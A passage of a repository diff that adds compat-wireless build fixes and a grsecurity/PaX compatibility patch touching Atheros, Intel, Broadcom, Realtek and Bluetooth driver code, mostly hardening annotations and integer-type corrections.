LIBIPW_DEBUG_WX("%s: key setting failed\n", dev->name); ++ LIBIPW_DEBUG_WX("%s: key setting failed\n", ieee->dev->name); + ret = -EINVAL; + goto done; + } +Fixes for: +compat/compat-3.7.c:37:2: warning: passing argument 1 of ‘pci_find_capability’ discards ‘const’ qualifier from pointer target type [enabled by default] +--- compat/compat-3.7.c ++++ compat/compat-3.7.c +@@ -29,7 +29,7 @@ + * pci_dev but if we found it we likely would remove it from + * the kernel anyway right? Bite me. + */ +-static inline u16 pcie_flags_reg(const struct pci_dev *dev) ++static inline u16 pcie_flags_reg(struct pci_dev *dev) + { + int pos; + u16 reg16; +@@ -43,12 +43,12 @@ + return reg16; + } + +-static inline int pci_pcie_type(const struct pci_dev *dev) ++static inline int pci_pcie_type(struct pci_dev *dev) + { + return (pcie_flags_reg(dev) & PCI_EXP_FLAGS_TYPE) >> 4; + } + +-static inline int pcie_cap_version(const struct pci_dev *dev) ++static inline int pcie_cap_version(struct pci_dev *dev) + { + return pcie_flags_reg(dev) & PCI_EXP_FLAGS_VERS; + } +@@ -58,7 +58,7 @@ + return true; + } + +-static inline bool pcie_cap_has_lnkctl(const struct pci_dev *dev) ++static inline bool pcie_cap_has_lnkctl(struct pci_dev *dev) + { + int type = pci_pcie_type(dev); + +@@ -68,7 +68,7 @@ + type == PCI_EXP_TYPE_LEG_END; + } + +-static inline bool pcie_cap_has_sltctl(const struct pci_dev *dev) ++static inline bool pcie_cap_has_sltctl(struct pci_dev *dev) + { + int type = pci_pcie_type(dev); + +@@ -78,7 +78,7 @@ + pcie_flags_reg(dev) & PCI_EXP_FLAGS_SLOT); + } + +-static inline bool pcie_cap_has_rtctl(const struct pci_dev *dev) ++static inline bool pcie_cap_has_rtctl(struct pci_dev *dev) + { + int type = pci_pcie_type(dev); + +--- drivers/net/wireless/ath/ath5k/debug.c ++++ drivers/net/wireless/ath/ath5k/debug.c +@@ -58,6 +58,7 @@ + * THE POSSIBILITY OF SUCH DAMAGES. + */ + ++#undef pr_fmt + #define pr_fmt(fmt) KBUILD_MODNAME ": " fmt + + #include diff --git a/net-wireless/compat-wireless/files/compat-wireless-3.6.6-grsec.patch b/net-wireless/compat-wireless/files/compat-wireless-3.6.6-grsec.patch new file mode 100644 index 00000000..bf9e483e --- /dev/null +++ b/net-wireless/compat-wireless/files/compat-wireless-3.6.6-grsec.patch @@ -0,0 +1,8363 @@ +--- drivers/net/ethernet/atheros/alx/alx_sw.h 2012-09-27 23:19:12.000000000 +0000 ++++ drivers/net/ethernet/atheros/alx/alx_sw.h 2012-10-15 17:29:45.216925787 +0000 +@@ -326,7 +326,7 @@ struct alx_hw_callbacks { + + /* Others */ + int (*get_ethtool_regs)(struct alx_hw *, void *); +-}; ++} __no_const; + + struct alx_hw { + struct alx_adapter *adpt; +--- drivers/net/ethernet/atheros/atlx/atl2.c 2012-09-27 23:19:12.000000000 +0000 ++++ drivers/net/ethernet/atheros/atlx/atl2.c 2012-10-15 17:30:59.816924531 +0000 +@@ -2872,7 +2872,7 @@ static void atl2_force_ps(struct atl2_hw + */ + + #define ATL2_PARAM(X, desc) \ +- static const int __devinitdata X[ATL2_MAX_NIC + 1] = ATL2_PARAM_INIT; \ ++ static const int __devinitconst X[ATL2_MAX_NIC + 1] = ATL2_PARAM_INIT; \ + MODULE_PARM(X, "1-" __MODULE_STRING(ATL2_MAX_NIC) "i"); \ + MODULE_PARM_DESC(X, desc); + #else +--- drivers/net/wireless/ath/ath.h 2012-09-27 23:19:12.000000000 +0000 ++++ drivers/net/wireless/ath/ath.h 2012-10-15 17:30:59.818924529 +0000 +@@ -119,6 +119,7 @@ struct ath_ops { + void (*write_flush) (void *); + u32 (*rmw)(void *, u32 reg_offset, u32 set, u32 clr); + }; ++typedef struct ath_ops __no_const ath_ops_no_const; + + struct ath_common; + struct ath_bus_ops; +--- drivers/net/wireless/ath/ath9k/ar9002_mac.c 2012-09-27 23:19:11.000000000 +0000 ++++ drivers/net/wireless/ath/ath9k/ar9002_mac.c 2012-10-15 17:30:59.816924531 +0000 +@@ -184,8 +184,8 @@ ar9002_set_txdesc(struct ath_hw *ah, voi + ads->ds_txstatus6 = ads->ds_txstatus7 = 0; + ads->ds_txstatus8 = ads->ds_txstatus9 = 0; + +- ACCESS_ONCE(ads->ds_link) = i->link; +- ACCESS_ONCE(ads->ds_data) = i->buf_addr[0]; ++ ACCESS_ONCE_RW(ads->ds_link) = i->link; ++ ACCESS_ONCE_RW(ads->ds_data) = i->buf_addr[0]; + + ctl1 = i->buf_len[0] | (i->is_last ? 0 : AR_TxMore); + ctl6 = SM(i->keytype, AR_EncrType); +@@ -199,26 +199,26 @@ ar9002_set_txdesc(struct ath_hw *ah, voi + + if ((i->is_first || i->is_last) && + i->aggr != AGGR_BUF_MIDDLE && i->aggr != AGGR_BUF_LAST) { +- ACCESS_ONCE(ads->ds_ctl2) = set11nTries(i->rates, 0) ++ ACCESS_ONCE_RW(ads->ds_ctl2) = set11nTries(i->rates, 0) + | set11nTries(i->rates, 1) + | set11nTries(i->rates, 2) + | set11nTries(i->rates, 3) + | (i->dur_update ? AR_DurUpdateEna : 0) + | SM(0, AR_BurstDur); + +- ACCESS_ONCE(ads->ds_ctl3) = set11nRate(i->rates, 0) ++ ACCESS_ONCE_RW(ads->ds_ctl3) = set11nRate(i->rates, 0) + | set11nRate(i->rates, 1) + | set11nRate(i->rates, 2) + | set11nRate(i->rates, 3); + } else { +- ACCESS_ONCE(ads->ds_ctl2) = 0; +- ACCESS_ONCE(ads->ds_ctl3) = 0; ++ ACCESS_ONCE_RW(ads->ds_ctl2) = 0; ++ ACCESS_ONCE_RW(ads->ds_ctl3) = 0; + } + + if (!i->is_first) { +- ACCESS_ONCE(ads->ds_ctl0) = 0; +- ACCESS_ONCE(ads->ds_ctl1) = ctl1; +- ACCESS_ONCE(ads->ds_ctl6) = ctl6; ++ ACCESS_ONCE_RW(ads->ds_ctl0) = 0; ++ ACCESS_ONCE_RW(ads->ds_ctl1) = ctl1; ++ ACCESS_ONCE_RW(ads->ds_ctl6) = ctl6; + return; + } + +@@ -243,7 +243,7 @@ ar9002_set_txdesc(struct ath_hw *ah, voi + break; + } + +- ACCESS_ONCE(ads->ds_ctl0) = (i->pkt_len & AR_FrameLen) ++ ACCESS_ONCE_RW(ads->ds_ctl0) = (i->pkt_len & AR_FrameLen) + | (i->flags & ATH9K_TXDESC_VMF ? AR_VirtMoreFrag : 0) + | SM(i->txpower, AR_XmitPower) + | (i->flags & ATH9K_TXDESC_VEOL ? AR_VEOL : 0) +@@ -253,19 +253,19 @@ ar9002_set_txdesc(struct ath_hw *ah, voi + | (i->flags & ATH9K_TXDESC_RTSENA ? AR_RTSEnable : + (i->flags & ATH9K_TXDESC_CTSENA ? AR_CTSEnable : 0)); + +- ACCESS_ONCE(ads->ds_ctl1) = ctl1; +- ACCESS_ONCE(ads->ds_ctl6) = ctl6; ++ ACCESS_ONCE_RW(ads->ds_ctl1) = ctl1; ++ ACCESS_ONCE_RW(ads->ds_ctl6) = ctl6; + + if (i->aggr == AGGR_BUF_MIDDLE || i->aggr == AGGR_BUF_LAST) + return; + +- ACCESS_ONCE(ads->ds_ctl4) = set11nPktDurRTSCTS(i->rates, 0) ++ ACCESS_ONCE_RW(ads->ds_ctl4) = set11nPktDurRTSCTS(i->rates, 0) + | set11nPktDurRTSCTS(i->rates, 1); + +- ACCESS_ONCE(ads->ds_ctl5) = set11nPktDurRTSCTS(i->rates, 2) ++ ACCESS_ONCE_RW(ads->ds_ctl5) = set11nPktDurRTSCTS(i->rates, 2) + | set11nPktDurRTSCTS(i->rates, 3); + +- ACCESS_ONCE(ads->ds_ctl7) = set11nRateFlags(i->rates, 0) ++ ACCESS_ONCE_RW(ads->ds_ctl7) = set11nRateFlags(i->rates, 0) + | set11nRateFlags(i->rates, 1) + | set11nRateFlags(i->rates, 2) + | set11nRateFlags(i->rates, 3) +--- drivers/net/wireless/ath/ath9k/ar9003_mac.c 2012-09-27 23:19:12.000000000 +0000 ++++ drivers/net/wireless/ath/ath9k/ar9003_mac.c 2012-10-15 17:30:59.817924530 +0000 +@@ -39,47 +39,47 @@ ar9003_set_txdesc(struct ath_hw *ah, voi + (i->qcu << AR_TxQcuNum_S) | desc_len; + + checksum += val; +- ACCESS_ONCE(ads->info) = val; ++ ACCESS_ONCE_RW(ads->info) = val; + + checksum += i->link; +- ACCESS_ONCE(ads->link) = i->link; ++ ACCESS_ONCE_RW(ads->link) = i->link; + + checksum += i->buf_addr[0]; +- ACCESS_ONCE(ads->data0) = i->buf_addr[0]; ++ ACCESS_ONCE_RW(ads->data0) = i->buf_addr[0]; + checksum += i->buf_addr[1]; +- ACCESS_ONCE(ads->data1) = i->buf_addr[1]; ++ ACCESS_ONCE_RW(ads->data1) = i->buf_addr[1]; + checksum += i->buf_addr[2]; +- ACCESS_ONCE(ads->data2) = i->buf_addr[2]; ++ ACCESS_ONCE_RW(ads->data2) = i->buf_addr[2]; + checksum += i->buf_addr[3]; +- ACCESS_ONCE(ads->data3) = i->buf_addr[3]; ++ ACCESS_ONCE_RW(ads->data3) = i->buf_addr[3]; + + checksum += (val = (i->buf_len[0] << AR_BufLen_S) & AR_BufLen); +- ACCESS_ONCE(ads->ctl3) = val; ++ ACCESS_ONCE_RW(ads->ctl3) = val; + checksum += (val = (i->buf_len[1] << AR_BufLen_S) & AR_BufLen); +- ACCESS_ONCE(ads->ctl5) = val; ++ ACCESS_ONCE_RW(ads->ctl5) = val; + checksum += (val = (i->buf_len[2] << AR_BufLen_S) & AR_BufLen); +- ACCESS_ONCE(ads->ctl7) = val; ++ ACCESS_ONCE_RW(ads->ctl7) = val; + checksum += (val = (i->buf_len[3] << AR_BufLen_S) & AR_BufLen); +- ACCESS_ONCE(ads->ctl9) = val; ++ ACCESS_ONCE_RW(ads->ctl9) = val; + + checksum = (u16) (((checksum & 0xffff) + (checksum >> 16)) & 0xffff); +- ACCESS_ONCE(ads->ctl10) = checksum; ++ ACCESS_ONCE_RW(ads->ctl10) = checksum; + + if (i->is_first || i->is_last) { +- ACCESS_ONCE(ads->ctl13) = set11nTries(i->rates, 0) ++ ACCESS_ONCE_RW(ads->ctl13) = set11nTries(i->rates, 0) + | set11nTries(i->rates, 1) + | set11nTries(i->rates, 2) + | set11nTries(i->rates, 3) + | (i->dur_update ? AR_DurUpdateEna : 0) + | SM(0, AR_BurstDur); + +- ACCESS_ONCE(ads->ctl14) = set11nRate(i->rates, 0) ++ ACCESS_ONCE_RW(ads->ctl14) = set11nRate(i->rates, 0) + | set11nRate(i->rates, 1) + | set11nRate(i->rates, 2) + | set11nRate(i->rates, 3); + } else { +- ACCESS_ONCE(ads->ctl13) = 0; +- ACCESS_ONCE(ads->ctl14) = 0; ++ ACCESS_ONCE_RW(ads->ctl13) = 0; ++ ACCESS_ONCE_RW(ads->ctl14) = 0; + } + + ads->ctl20 = 0; +@@ -89,17 +89,17 @@ ar9003_set_txdesc(struct ath_hw *ah, voi + + ctl17 = SM(i->keytype, AR_EncrType); + if (!i->is_first) { +- ACCESS_ONCE(ads->ctl11) = 0; +- ACCESS_ONCE(ads->ctl12) = i->is_last ? 0 : AR_TxMore; +- ACCESS_ONCE(ads->ctl15) = 0; +- ACCESS_ONCE(ads->ctl16) = 0; +- ACCESS_ONCE(ads->ctl17) = ctl17; +- ACCESS_ONCE(ads->ctl18) = 0; +- ACCESS_ONCE(ads->ctl19) = 0; ++ ACCESS_ONCE_RW(ads->ctl11) = 0; ++ ACCESS_ONCE_RW(ads->ctl12) = i->is_last ? 0 : AR_TxMore; ++ ACCESS_ONCE_RW(ads->ctl15) = 0; ++ ACCESS_ONCE_RW(ads->ctl16) = 0; ++ ACCESS_ONCE_RW(ads->ctl17) = ctl17; ++ ACCESS_ONCE_RW(ads->ctl18) = 0; ++ ACCESS_ONCE_RW(ads->ctl19) = 0; + return; + } + +- ACCESS_ONCE(ads->ctl11) = (i->pkt_len & AR_FrameLen) ++ ACCESS_ONCE_RW(ads->ctl11) = (i->pkt_len & AR_FrameLen) + | (i->flags & ATH9K_TXDESC_VMF ? AR_VirtMoreFrag : 0) + | SM(i->txpower, AR_XmitPower) + | (i->flags & ATH9K_TXDESC_VEOL ? AR_VEOL : 0) +@@ -135,22 +135,22 @@ ar9003_set_txdesc(struct ath_hw *ah, voi + val = (i->flags & ATH9K_TXDESC_PAPRD) >> ATH9K_TXDESC_PAPRD_S; + ctl12 |= SM(val, AR_PAPRDChainMask); + +- ACCESS_ONCE(ads->ctl12) = ctl12; +- ACCESS_ONCE(ads->ctl17) = ctl17; ++ ACCESS_ONCE_RW(ads->ctl12) = ctl12; ++ ACCESS_ONCE_RW(ads->ctl17) = ctl17; + +- ACCESS_ONCE(ads->ctl15) = set11nPktDurRTSCTS(i->rates, 0) ++ ACCESS_ONCE_RW(ads->ctl15) = set11nPktDurRTSCTS(i->rates, 0) + | set11nPktDurRTSCTS(i->rates, 1); + +- ACCESS_ONCE(ads->ctl16) = set11nPktDurRTSCTS(i->rates, 2) ++ ACCESS_ONCE_RW(ads->ctl16) = set11nPktDurRTSCTS(i->rates, 2) + | set11nPktDurRTSCTS(i->rates, 3); + +- ACCESS_ONCE(ads->ctl18) = set11nRateFlags(i->rates, 0) ++ ACCESS_ONCE_RW(ads->ctl18) = set11nRateFlags(i->rates, 0) + | set11nRateFlags(i->rates, 1) + | set11nRateFlags(i->rates, 2) + | set11nRateFlags(i->rates, 3) + | SM(i->rtscts_rate, AR_RTSCTSRate); + +- ACCESS_ONCE(ads->ctl19) = AR_Not_Sounding; ++ ACCESS_ONCE_RW(ads->ctl19) = AR_Not_Sounding; + } + + static u16 ar9003_calc_ptr_chksum(struct ar9003_txc *ads) +--- drivers/net/wireless/ath/ath9k/hw.h 2012-09-27 23:19:12.000000000 +0000 ++++ drivers/net/wireless/ath/ath9k/hw.h 2012-10-15 17:30:59.817924530 +0000 +@@ -657,7 +657,7 @@ struct ath_hw_private_ops { + + /* ANI */ + void (*ani_cache_ini_regs)(struct ath_hw *ah); +-}; ++} __no_const; + + /** + * struct ath_hw_ops - callbacks used by hardware code and driver code +@@ -687,7 +687,7 @@ struct ath_hw_ops { + void (*antdiv_comb_conf_set)(struct ath_hw *ah, + struct ath_hw_antcomb_conf *antconf); + void (*antctrl_shared_chain_lnadiv)(struct ath_hw *hw, bool enable); +-}; ++} __no_const; + + struct ath_nf_limits { + s16 max; +@@ -707,7 +707,7 @@ enum ath_cal_list { + #define AH_FASTCC 0x4 + + struct ath_hw { +- struct ath_ops reg_ops; ++ ath_ops_no_const reg_ops; + + struct ieee80211_hw *hw; + struct ath_common common; +--- drivers/net/wireless/brcm80211/brcmsmac/phy/phy_int.h 2012-09-27 23:19:11.000000000 +0000 ++++ drivers/net/wireless/brcm80211/brcmsmac/phy/phy_int.h 2012-10-15 17:30:59.818924529 +0000 +@@ -545,7 +545,7 @@ struct phy_func_ptr { + void (*carrsuppr)(struct brcms_phy *); + s32 (*rxsigpwr)(struct brcms_phy *, s32); + void (*detach)(struct brcms_phy *); +-}; ++} __no_const; + + struct brcms_phy { + struct brcms_phy_pub pubpi_ro; +--- drivers/net/wireless/iwlegacy/3945-mac.c 2012-09-27 23:19:12.000000000 +0000 ++++ drivers/net/wireless/iwlegacy/3945-mac.c 2012-10-15 17:30:59.819924529 +0000 +@@ -3613,7 +3613,9 @@ il3945_pci_probe(struct pci_dev *pdev, c + */ + if (il3945_mod_params.disable_hw_scan) { + D_INFO("Disabling hw_scan\n"); +- il3945_mac_ops.hw_scan = NULL; ++ pax_open_kernel(); ++ *(void **)&il3945_mac_ops.hw_scan = NULL; ++ pax_close_kernel(); + } + + D_INFO("*** LOAD DRIVER ***\n"); +--- drivers/net/wireless/iwlwifi/dvm/debugfs.c 2012-09-27 23:19:11.000000000 +0000 ++++ drivers/net/wireless/iwlwifi/dvm/debugfs.c 2012-10-15 17:30:59.819924529 +0000 +@@ -203,7 +203,7 @@ static ssize_t iwl_dbgfs_sram_write(stru + { + struct iwl_priv *priv = file->private_data; + char buf[64]; +- int buf_size; ++ size_t buf_size; + u32 offset, len; + + memset(buf, 0, sizeof(buf)); +@@ -473,7 +473,7 @@ static ssize_t iwl_dbgfs_rx_handlers_wri + struct iwl_priv *priv = file->private_data; + + char buf[8]; +- int buf_size; ++ size_t buf_size; + u32 reset_flag; + + memset(buf, 0, sizeof(buf)); +@@ -554,7 +554,7 @@ static ssize_t iwl_dbgfs_disable_ht40_wr + { + struct iwl_priv *priv = file->private_data; + char buf[8]; +- int buf_size; ++ size_t buf_size; + int ht40; + + memset(buf, 0, sizeof(buf)); +@@ -606,7 +606,7 @@ static ssize_t iwl_dbgfs_sleep_level_ove + { + struct iwl_priv *priv = file->private_data; + char buf[8]; +- int buf_size; ++ size_t buf_size; + int value; + + memset(buf, 0, sizeof(buf)); +@@ -1871,7 +1871,7 @@ static ssize_t iwl_dbgfs_clear_ucode_sta + { + struct iwl_priv *priv = file->private_data; + char buf[8]; +- int buf_size; ++ size_t buf_size; + int clear; + + memset(buf, 0, sizeof(buf)); +@@ -1916,7 +1916,7 @@ static ssize_t iwl_dbgfs_ucode_tracing_w + { + struct iwl_priv *priv = file->private_data; + char buf[8]; +- int buf_size; ++ size_t buf_size; + int trace; + + memset(buf, 0, sizeof(buf)); +@@ -1987,7 +1987,7 @@ static ssize_t iwl_dbgfs_missed_beacon_w + { + struct iwl_priv *priv = file->private_data; + char buf[8]; +- int buf_size; ++ size_t buf_size; + int missed; + + memset(buf, 0, sizeof(buf)); +@@ -2028,7 +2028,7 @@ static ssize_t iwl_dbgfs_plcp_delta_writ + + struct iwl_priv *priv = file->private_data; + char buf[8]; +- int buf_size; ++ size_t buf_size; + int plcp; + + memset(buf, 0, sizeof(buf)); +@@ -2088,7 +2088,7 @@ static ssize_t iwl_dbgfs_txfifo_flush_wr + + struct iwl_priv *priv = file->private_data; + char buf[8]; +- int buf_size; ++ size_t buf_size; + int flush; + + memset(buf, 0, sizeof(buf)); +@@ -2178,7 +2178,7 @@ static ssize_t iwl_dbgfs_protection_mode + + struct iwl_priv *priv = file->private_data; + char buf[8]; +- int buf_size; ++ size_t buf_size; + int rts; + + if (!priv->cfg->ht_params) +@@ -2220,7 +2220,7 @@ static ssize_t iwl_dbgfs_echo_test_write + { + struct iwl_priv *priv = file->private_data; + char buf[8]; +- int buf_size; ++ size_t buf_size; + + memset(buf, 0, sizeof(buf)); + buf_size = min(count, sizeof(buf) - 1); +@@ -2256,7 +2256,7 @@ static ssize_t iwl_dbgfs_log_event_write + struct iwl_priv *priv = file->private_data; + u32 event_log_flag; + char buf[8]; +- int buf_size; ++ size_t buf_size; + + /* check that the interface is up */ + if (!iwl_is_ready(priv)) +@@ -2310,7 +2310,7 @@ static ssize_t iwl_dbgfs_calib_disabled_ + struct iwl_priv *priv = file->private_data; + char buf[8]; + u32 calib_disabled; +- int buf_size; ++ size_t buf_size; + + memset(buf, 0, sizeof(buf)); + buf_size = min(count, sizeof(buf) - 1); +--- drivers/net/wireless/iwlwifi/pcie/trans.c 2012-09-27 23:19:12.000000000 +0000 ++++ drivers/net/wireless/iwlwifi/pcie/trans.c 2012-10-15 17:30:59.820924530 +0000 +@@ -1944,7 +1944,7 @@ static ssize_t iwl_dbgfs_interrupt_write + struct isr_statistics *isr_stats = &trans_pcie->isr_stats; + + char buf[8]; +- int buf_size; ++ size_t buf_size; + u32 reset_flag; + + memset(buf, 0, sizeof(buf)); +@@ -1965,7 +1965,7 @@ static ssize_t iwl_dbgfs_csr_write(struc + { + struct iwl_trans *trans = file->private_data; + char buf[8]; +- int buf_size; ++ size_t buf_size; + int csr; + + memset(buf, 0, sizeof(buf)); +--- drivers/net/wireless/mac80211_hwsim.c 2012-09-27 23:19:12.000000000 +0000 ++++ drivers/net/wireless/mac80211_hwsim.c 2012-10-15 17:30:59.820924530 +0000 +@@ -1748,9 +1748,11 @@ static int __init init_mac80211_hwsim(vo + return -EINVAL; + + if (fake_hw_scan) { +- mac80211_hwsim_ops.hw_scan = mac80211_hwsim_hw_scan; +- mac80211_hwsim_ops.sw_scan_start = NULL; +- mac80211_hwsim_ops.sw_scan_complete = NULL; ++ pax_open_kernel(); ++ *(void **)&mac80211_hwsim_ops.hw_scan = mac80211_hwsim_hw_scan; ++ *(void **)&mac80211_hwsim_ops.sw_scan_start = NULL; ++ *(void **)&mac80211_hwsim_ops.sw_scan_complete = NULL; ++ pax_close_kernel(); + } + + spin_lock_init(&hwsim_radio_lock); +--- drivers/net/wireless/mwifiex/main.h 2012-09-27 23:19:11.000000000 +0000 ++++ drivers/net/wireless/mwifiex/main.h 2012-10-15 17:30:59.820924530 +0000 +@@ -571,7 +571,7 @@ struct mwifiex_if_ops { + int (*event_complete) (struct mwifiex_adapter *, struct sk_buff *); + int (*data_complete) (struct mwifiex_adapter *, struct sk_buff *); + int (*dnld_fw) (struct mwifiex_adapter *, struct mwifiex_fw_image *); +-}; ++} __no_const; + + struct mwifiex_adapter { + u8 iface_type; +--- drivers/net/wireless/rndis_wlan.c 2012-09-27 23:19:12.000000000 +0000 ++++ drivers/net/wireless/rndis_wlan.c 2012-10-15 17:30:59.821924531 +0000 +@@ -1235,7 +1235,7 @@ static int set_rts_threshold(struct usbn + + netdev_dbg(usbdev->net, "%s(): %i\n", __func__, rts_threshold); + +- if (rts_threshold < 0 || rts_threshold > 2347) ++ if (rts_threshold > 2347) + rts_threshold = 2347; + + tmp = cpu_to_le32(rts_threshold); +--- drivers/net/wireless/rt2x00/rt2x00.h 2012-09-27 23:19:11.000000000 +0000 ++++ drivers/net/wireless/rt2x00/rt2x00.h 2012-10-15 17:30:59.821924531 +0000 +@@ -397,7 +397,7 @@ struct rt2x00_intf { + * for hardware which doesn't support hardware + * sequence counting. + */ +- atomic_t seqno; ++ atomic_unchecked_t seqno; + }; + + static inline struct rt2x00_intf* vif_to_intf(struct ieee80211_vif *vif) +--- drivers/net/wireless/rt2x00/rt2x00queue.c 2012-09-27 23:19:11.000000000 +0000 ++++ drivers/net/wireless/rt2x00/rt2x00queue.c 2012-10-15 17:30:59.822924531 +0000 +@@ -240,9 +240,9 @@ static void rt2x00queue_create_tx_descri + * sequence counter given by mac80211. + */ + if (test_bit(ENTRY_TXD_FIRST_FRAGMENT, &txdesc->flags)) +- seqno = atomic_add_return(0x10, &intf->seqno); ++ seqno = atomic_add_return_unchecked(0x10, &intf->seqno); + else +- seqno = atomic_read(&intf->seqno); ++ seqno = atomic_read_unchecked(&intf->seqno); + + hdr->seq_ctrl &= cpu_to_le16(IEEE80211_SCTL_FRAG); + hdr->seq_ctrl |= cpu_to_le16(seqno); +--- drivers/net/wireless/ti/wl1251/wl1251.h 2012-09-27 23:19:11.000000000 +0000 ++++ drivers/net/wireless/ti/wl1251/wl1251.h 2012-10-15 17:30:59.822924531 +0000 +@@ -266,7 +266,7 @@ struct wl1251_if_operations { + void (*reset)(struct wl1251 *wl); + void (*enable_irq)(struct wl1251 *wl); + void (*disable_irq)(struct wl1251 *wl); +-}; ++} __no_const; + + struct wl1251 { + struct ieee80211_hw *hw; +--- drivers/net/wireless/ti/wlcore/wlcore.h 2012-09-27 23:19:12.000000000 +0000 ++++ drivers/net/wireless/ti/wlcore/wlcore.h 2012-10-15 17:30:59.822924531 +0000 +@@ -81,7 +81,7 @@ struct wlcore_ops { + struct ieee80211_sta *sta, + struct ieee80211_key_conf *key_conf); + u32 (*pre_pkt_send)(struct wl1271 *wl, u32 buf_offset, u32 last_len); +-}; ++} __no_const; + + enum wlcore_partitions { + PART_DOWN, +--- include/linux/unaligned/access_ok.h 2012-09-17 19:15:56.000000000 +0000 ++++ include/linux/unaligned/access_ok.h 2012-10-15 17:30:59.823924531 +0000 +@@ -6,32 +6,32 @@ + + static inline u16 get_unaligned_le16(const void *p) + { +- return le16_to_cpup((__le16 *)p); ++ return le16_to_cpup((const __le16 *)p); + } + + static inline u32 get_unaligned_le32(const void *p) + { +- return le32_to_cpup((__le32 *)p); ++ return le32_to_cpup((const __le32 *)p); + } + + static inline u64 get_unaligned_le64(const void *p) + { +- return le64_to_cpup((__le64 *)p); ++ return le64_to_cpup((const __le64 *)p); + } + + static inline u16 get_unaligned_be16(const void *p) + { +- return be16_to_cpup((__be16 *)p); ++ return be16_to_cpup((const __be16 *)p); + } + + static inline u32 get_unaligned_be32(const void *p) + { +- return be32_to_cpup((__be32 *)p); ++ return be32_to_cpup((const __be32 *)p); + } + + static inline u64 get_unaligned_be64(const void *p) + { +- return be64_to_cpup((__be64 *)p); ++ return be64_to_cpup((const __be64 *)p); + } + + static inline void put_unaligned_le16(u16 val, void *p) +--- net/bluetooth/hci_sock.c 2012-09-27 23:19:12.000000000 +0000 ++++ net/bluetooth/hci_sock.c 2012-10-15 17:30:59.825924531 +0000 +@@ -940,7 +940,7 @@ static int hci_sock_setsockopt(struct so + uf.event_mask[1] = *((u32 *) f->event_mask + 1); + } + +- len = min_t(unsigned int, len, sizeof(uf)); ++ len = min((size_t)len, sizeof(uf)); + if (copy_from_user(&uf, optval, len)) { + err = -EFAULT; + break; +--- net/bluetooth/l2cap_core.c 2012-09-27 23:19:11.000000000 +0000 ++++ net/bluetooth/l2cap_core.c 2012-10-15 17:30:59.825924531 +0000 +@@ -3165,8 +3165,10 @@ static int l2cap_parse_conf_rsp(struct l + break; + + case L2CAP_CONF_RFC: +- if (olen == sizeof(rfc)) +- memcpy(&rfc, (void *)val, olen); ++ if (olen != sizeof(rfc)) ++ break; ++ ++ memcpy(&rfc, (void *)val, olen); + + if (test_bit(CONF_STATE2_DEVICE, &chan->conf_state) && + rfc.mode != chan->mode) +--- net/bluetooth/l2cap_sock.c 2012-09-27 23:19:12.000000000 +0000 ++++ net/bluetooth/l2cap_sock.c 2012-10-15 17:30:59.826924531 +0000 +@@ -467,7 +467,8 @@ static int l2cap_sock_setsockopt_old(str + struct sock *sk = sock->sk; + struct l2cap_chan *chan = l2cap_pi(sk)->chan; + struct l2cap_options opts; +- int len, err = 0; ++ int err = 0; ++ size_t len = optlen; + u32 opt; + + BT_DBG("sk %p", sk); +@@ -489,7 +490,7 @@ static int l2cap_sock_setsockopt_old(str + opts.max_tx = chan->max_tx; + opts.txwin_size = chan->tx_win; + +- len = min_t(unsigned int, sizeof(opts), optlen); ++ len = min(sizeof(opts), len); + if (copy_from_user((char *) &opts, optval, len)) { + err = -EFAULT; + break; +@@ -574,7 +575,8 @@ static int l2cap_sock_setsockopt(struct + struct bt_security sec; + struct bt_power pwr; + struct l2cap_conn *conn; +- int len, err = 0; ++ int err = 0; ++ size_t len = optlen; + u32 opt; + + BT_DBG("sk %p", sk); +@@ -597,7 +599,7 @@ static int l2cap_sock_setsockopt(struct + + sec.level = BT_SECURITY_LOW; + +- len = min_t(unsigned int, sizeof(sec), optlen); ++ len = min(sizeof(sec), len); + if (copy_from_user((char *) &sec, optval, len)) { + err = -EFAULT; + break; +@@ -694,7 +696,7 @@ static int l2cap_sock_setsockopt(struct + + pwr.force_active = BT_POWER_FORCE_ACTIVE_ON; + +- len = min_t(unsigned int, sizeof(pwr), optlen); ++ len = min(sizeof(pwr), len); + if (copy_from_user((char *) &pwr, optval, len)) { + err = -EFAULT; + break; +--- net/bluetooth/rfcomm/sock.c 2012-09-27 23:19:12.000000000 +0000 ++++ net/bluetooth/rfcomm/sock.c 2012-10-15 17:30:59.826924531 +0000 +@@ -676,7 +676,7 @@ static int rfcomm_sock_setsockopt(struct + struct sock *sk = sock->sk; + struct bt_security sec; + int err = 0; +- size_t len; ++ size_t len = optlen; + u32 opt; + + BT_DBG("sk %p", sk); +@@ -698,7 +698,7 @@ static int rfcomm_sock_setsockopt(struct + + sec.level = BT_SECURITY_LOW; + +- len = min_t(unsigned int, sizeof(sec), optlen); ++ len = min(sizeof(sec), len); + if (copy_from_user((char *) &sec, optval, len)) { + err = -EFAULT; + break; +--- net/bluetooth/rfcomm/tty.c 2012-09-27 23:19:12.000000000 +0000 ++++ net/bluetooth/rfcomm/tty.c 2012-10-15 17:30:59.826924531 +0000 +@@ -309,7 +309,7 @@ static void rfcomm_dev_del(struct rfcomm + BUG_ON(test_and_set_bit(RFCOMM_TTY_RELEASED, &dev->flags)); + + spin_lock_irqsave(&dev->port.lock, flags); +- if (dev->port.count > 0) { ++ if (atomic_read(&dev->port.count) > 0) { + spin_unlock_irqrestore(&dev->port.lock, flags); + return; + } +@@ -664,10 +664,10 @@ static int rfcomm_tty_open(struct tty_st + return -ENODEV; + + BT_DBG("dev %p dst %s channel %d opened %d", dev, batostr(&dev->dst), +- dev->channel, dev->port.count); ++ dev->channel, atomic_read(&dev->port.count)); + + spin_lock_irqsave(&dev->port.lock, flags); +- if (++dev->port.count > 1) { ++ if (atomic_inc_return(&dev->port.count) > 1) { + spin_unlock_irqrestore(&dev->port.lock, flags); + return 0; + } +@@ -736,10 +736,10 @@ static void rfcomm_tty_close(struct tty_ + return; + + BT_DBG("tty %p dev %p dlc %p opened %d", tty, dev, dev->dlc, +- dev->port.count); ++ atomic_read(&dev->port.count)); + + spin_lock_irqsave(&dev->port.lock, flags); +- if (!--dev->port.count) { ++ if (!atomic_dec_return(&dev->port.count)) { + spin_unlock_irqrestore(&dev->port.lock, flags); + if (dev->tty_dev->parent) + #if (LINUX_VERSION_CODE > KERNEL_VERSION(2,6,29)) +--- net/mac80211/ieee80211_i.h 2012-09-27 23:19:12.000000000 +0000 ++++ net/mac80211/ieee80211_i.h 2012-10-15 17:30:59.827924531 +0000 +@@ -28,6 +28,7 @@ + #include + #include + #include ++#include + #include "key.h" + #include "sta_info.h" + #include "debug.h" +@@ -840,7 +841,7 @@ struct ieee80211_local { + /* also used to protect ampdu_ac_queue and 